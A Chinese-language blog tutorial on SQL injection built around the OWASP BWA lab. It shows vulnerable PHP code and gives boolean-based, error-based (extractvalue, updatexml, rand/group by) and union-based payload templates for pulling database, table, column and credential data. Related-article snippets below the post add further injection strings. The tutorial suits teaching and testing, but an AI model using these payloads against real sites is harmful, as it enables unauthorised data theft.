<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    技術博客 | SQL 注入詳解

    VSole2021-11-06 05:49:52

    實習期間的主要工作是研究 WEB 安全,剛開始的時候,研究的主要是 SQL 注入,因為之前沒有搞過安全,所有費了好長一段時間對 SQL 注入基本知識進行了解。這篇文章并不是什么很深入的技術博客,或許應該叫它‘ SQL注入掃盲 ’。

    關于 SQL Injection

    SQL Injection 就是通過把惡意的 SQL 命令插入到 Web 表單讓服務器執行,最終達到欺騙服務器或數據庫執行惡意的 SQL 命令。

    學習 SQL 注入,首先要搭一個靶機環境,我使用的是 OWASP BWA,感興趣的可以去官網下載一個安裝,除了 SQL 注入,很多靶機環境都可以在 BWA 中找到,它專門為 OWASP ZAP 滲透工具設計的。

    $id = $_GET['id'];$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result = mysql_query($getid) or die('
    ' . mysql_error() . '
    ' );$num = mysql_numrows($result); 
    


    這是一個很簡單的 PHP代碼,從前臺獲得 id 的值,交給數據庫來執行,把結果返回給前臺。

    比如我們在 OWASP 里輸入 id = 1,點擊 Submit,返回結果如下:

    稍微懂一點后臺或者數據庫的人都知道,上面的那段代碼是有嚴重問題的,沒有對 id 的值進行有效性、合法性判斷。也就是說,我們在 submit 輸入框輸入的如何內容都會被提交給數據庫執行,比如在輸入框輸入1' or '1'='1,執行就會變成:

    //原先要在數據庫中執行的命令SELECT first_name, last_name FROM users WHERE user_id = '1'//變成SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'
    

    注意一下單引號,這是 SQL 注入中非常重要的一個地方,所以注入代碼的最后要補充一個 '1'='1讓單引號閉合。

    由于 or 的執行,會把數據庫表 users 中的所有內容顯示出來,


    下面對三種主要的注入類型進行介紹。

    Boolean-based 原理分析

    首先不得不講SQL中的AND和OR

    AND 和 OR 可在 WHERE 子語句中把兩個或多個條件結合起來。

    AND:返回第一個條件和第二個條件都成立的記錄。

    OR:返回滿足第一個條件或第二個條件的記錄。

    AND和OR即為集合論中的交集和并集。

    下面是一個數據庫的查詢內容。


    mysql> select * from students;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    1)

    mysql> select * from students where TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    2)

    mysql> select * from students where FALSE ;Empty set (0.00 sec)
    

    3)

    mysql> SELECT * from students where id = 10056 and TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)
    

    4)

    mysql> select * from students where id = 10056 and FALSE ;Empty set (0.00 sec)
    

    5)

    mysql> selcet * from students where id = 10056 or TRUE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 || 10058 | Jaune |  22 || 10060 | Alisa |  29 |+-------+-------+-----+3 rows in set (0.00 sec)
    

    6)

    mysql> select * from students where id = 10056 or FALSE ;+-------+-------+-----+| id    | name  | age |+-------+-------+-----+| 10056 | Doris |  20 |+-------+-------+-----+1 row in set (0.00 sec)
    

    會發現and 1=1 , and 1=2 即是 and TRUE , and FALSE 的變種。

    這便是最基礎的boolean注入,以此為基礎你可以自由組合語句。

    字典爆破流


    and exists(select * from ?)     //?為猜測的表名and exists(select ? from x)     //?為猜測的列名
    

    截取二分流

    and (length((select schema_name from information_schema.schemata limit 1))>?)       //判斷數據庫名的長度and (substr((select schema_name from information_schema.schemata limit 1),1,1)>'?')and (substr((select schema_name from information_schema.schemata limit 1),1,1)<'?')      //利用二分法判斷第一個字符
    


    Boolean-based總結

    根據前面的介紹,我們知道,對于基于Boolean-based的注入,必須要有一個可以正常訪問的地址,比如http: //redtiger.labs.overthewire.org/level4.php?id=1 是一個可以正常訪問的記錄,說明id=1的記錄是存在的,下面的都是基于這個進一步猜測。先來判斷一個關鍵字keyword的長度,在后面構造id=1 and (select length(keyword) from table)=1,從服務器我們會得到一個返回值,如果和先前的返回值不一樣,說明and后面的(select length(keyword) from table)=1返回false,keyword的長度不等于1。繼續構造直到id=1 and (select length(keyword) from table)=15返回true,說明keyword的長度為15。

    為什么我們剛開始一定要找一個已經存在的id,其實這主要是為了構造一個為真的情況。Boolean-based就是利用查詢結果為真和為假時的不同響應,通過不斷猜測來找到自己想要的東西。

    對于keyword的值,mysql數據庫可以使用substr(string, start, length)函數,截取string從第start位開始的length個字符串id=1 and (select substr(keyword,1,1) from table) ='A',依此類推,就可以獲得keyword的在數據庫中的值。

    Boolean-based的效率很低,需要多個請求才能確定一個值,盡管這種代價可以通過腳本來完成,在有選擇的情況下,我們會優先選擇其他方式。

    Error Based 原理分析

    關于錯誤回顯

    基于錯誤回顯的sql注入就是通過sql語句的矛盾性來使數據被回顯到頁面上。

    所用到的函數


    count() 統計元祖的個數(相當于求和)如select count(*) from information_schema.tables;  
    rand()用于產生一個0~1的隨機數  
    floor()向下取整  
    group by 依據我們想要的規矩對結果進行分組  
    concat將符合條件的同一列中的不同行數據拼接,以逗號隔開
    


    用于錯誤回顯的sql語句

    第一種:基于 rand() 與 group by 的錯誤

    利用group by part of rand() returns duplicate key error這個bug,關于rand()函數與group by 在mysql中的錯誤報告如下:

    **RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.

    You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.**

    這個bug會爆出duplicate key這個錯誤,然后順便就把數據偷到了。

    公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想獲取的數據的sql語句))x from information_schema.tables group by x )a) and '1' = '1

    第二種:XPATH爆信息

    這里主要用到的是ExtractValue()和UpdateXML()這2個函數,由于mysql 5.1以后提供了內置的XML文件解析和函數,所以這種注入只能用于5.1版本以后使用

    查看sql手冊


    語法:EXTRACTVALUE (XML_document, XPath_string);第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。
    

    作用:從目標XML中返回包含所查詢值的字符串

    語法:UPDATEXML (XML_document, XPath_string, new_value);第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。第三個參數:new_value,String格式,替換查找到的符合條件的數據
    


    作用:改變文檔中符合條件的節點的值

    現在就很清楚了,我們只需要不滿足XPath_string(Xpath格式)就可以了,但是由于這個方法只能爆出32位,所以可以結合mid來使用

    公式1:username=admin' and (extractvalue(1, concat(0x7e,(你想獲取的數據的sql語句)))) and '1'='1

    公式2:username=admin' and (updatexml(1, concat(0x7e,(你想獲取的數據的sql語句)),1)) and '1'='1

    基于錯誤回顯的注入,總結起來就一句話,通過sql語句的矛盾性來使數據被回顯到頁面上,但有時候局限于回顯只能回顯一條,導致基于錯誤的注入偷數據的效率并沒有那么高,但相對于布爾注入已經提高了一個檔次。

    union query injection

    要了解union query injection,首先得了解union查詢,union用于合并兩個或更多個select的結果集。比如說


    SELECT username, password FROM account;
    


    結果是

    admin 123456

    SELECT id, title FROM article
    

    的結果是

    1 Hello, World

    SELECT username, password FROM accountUNION SELECT id, title FROM article
    

    的結果就是

    admin 123456

    1 Hello, World

    比起多重嵌套的boolean注入,union注入相對輕松。因為,union注入可以直接返回信息而不是布爾值。前面的介紹看出把union會把結果拼拼到一起,所有要讓union前面的查詢返回一個空值,一般采用類似于id=-1的方式。

    1)


    mysql> select name from students where id = -1 union select schema_name from information_schema.schemata;   //數據庫名  +--------------------+| name               |+--------------------+| information_schema || mysql              || performance_schema || rumRaisin          || t3st               || test               |+--------------------+6 rows in set (0.00 sec)
    

    2)

    mysql> select name from students where id = -1 union select table_name from information_schema.tables where table_schema='t3st';    //表名+----------+| name     |+----------+| master   || students |+----------+2   rows in set (0.00 sec)
    

    3)

    mysql> select name from students where id = -1 union select column_name from information_schema.columns where table_name = 'students' ;     //列名+------+| name |+------+| id   || name || age  |+------+3 rows in set (0.00 sec)
    

    UNION 操作符用于合并兩個或多個 SELECT 語句的結果集。請注意,UNION 內部的 SELECT 語句必須擁有相同數量的列。列也必須擁有相似的數據類型。同時,每條 SELECT 語句中的列的順序必須相同。

    舉個例子,還以最開始的 OWASP 為基礎,返回了兩個值分別是 first_name 和 sur_name,可想而知,服務器在返回數據庫的查詢結果時,就會把結果中的第一個值和第二個值傳給 first_name 和 sur_name,多了或少了,都會引起報錯。

    所以你如果想要使用union查詢來進行注入,你首先要猜測后端查詢語句中查詢了多少列,哪些列可以回顯給用戶。

    猜測列數


    -1 union select 1-1 union select 1,2-1 union select 1,2,3//直到頁面正常顯示
    

    比如這條語句

    -1 UNION SELECT 1,2,3,4
    

    如果顯示的值為3和4,表示該查詢結果中有四列,并且第三列和第四列是有用的。則相應的構造union語句如下

    -1 UNION SELECT 1,2,username,password FROM table
    

    小結一下

    SQL 注入大概有5種,還有兩種分別是 Stacked_queries(基于堆棧)和 Time-based blind(時間延遲),堆棧就是多語句查詢,用 ‘;’ 把語句隔開,和 union 一樣;時間延遲就是利用 sleep() 函數讓數據庫延遲執行,偷數據的速度很慢。(還有一個第六種,內聯注入,但和前面涉及的內容有所重疊,就不單獨來討論了)寫這篇文章的時候,也是剛剛接觸 markdown 的時候,很多格式都不規范,比如中英文之間半角的空格都沒有,大家就且看且無視吧。

    sql注入select
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    SQL注入速查表
    2022-07-29 09:22:37
    現在僅支持MySQL、Microsoft SQL Server,以及一部分ORACLE和PostgreSQL。大部分樣例都不能保證每一個場景都適用。現實場景由于各種插入語、不同的代碼環境以及各種不常見甚至奇特的SQL語句,而經常發生變化。
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    sql注入原理:業務端代碼從客戶端接收到惡意payload之后沒有進行過濾直接進行sql語句拼接并且執行造成sql注入本人正在拜讀一本代碼審計的書感覺非常的棒,剛剛好室友在挑戰自己,就順便整理一下知識點!看了一下也沒問題,繼續往下走,發現室友mybatis里的sql全部是使用$拼接的!
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件。
    代碼審計,說白了就是白盒測試,審查代碼檢查是否有安全問題,核心就兩點:跟蹤用戶輸入數據+敏感函數參數回溯。
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    我見過的流量分析類型的題目總結: 一,ping 報文信息? 二,上傳/下載文件 三,sql注入攻擊 四,訪問特定的加密解密網站 五,后臺掃描+弱密碼爆破+菜刀 六,usb流量分析 七,WiFi無線密碼破解 八,根據一組流量包了解黑客的具體行為例題:一,ping 報文信息?如果是菜刀下載文件的流量,需要刪除分組字節流前開頭和結尾的X@Y字符,否則下載的文件會出錯。
    SQL手工注入總結
    2021-11-11 08:19:35
    雖說目前互聯網上已經有很多關于 sql 注入的神器了,但是在這個 WAF 橫行的時代,手工注入往往在一些真實環境中會顯得尤為重要。本文主要把以前學過的知識做個總結,不會有詳細的知識解讀,類似于查詢手冊的形式,便于以后的復習與查閱,文中內容可能會存在錯誤,望師傅們斧正!
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类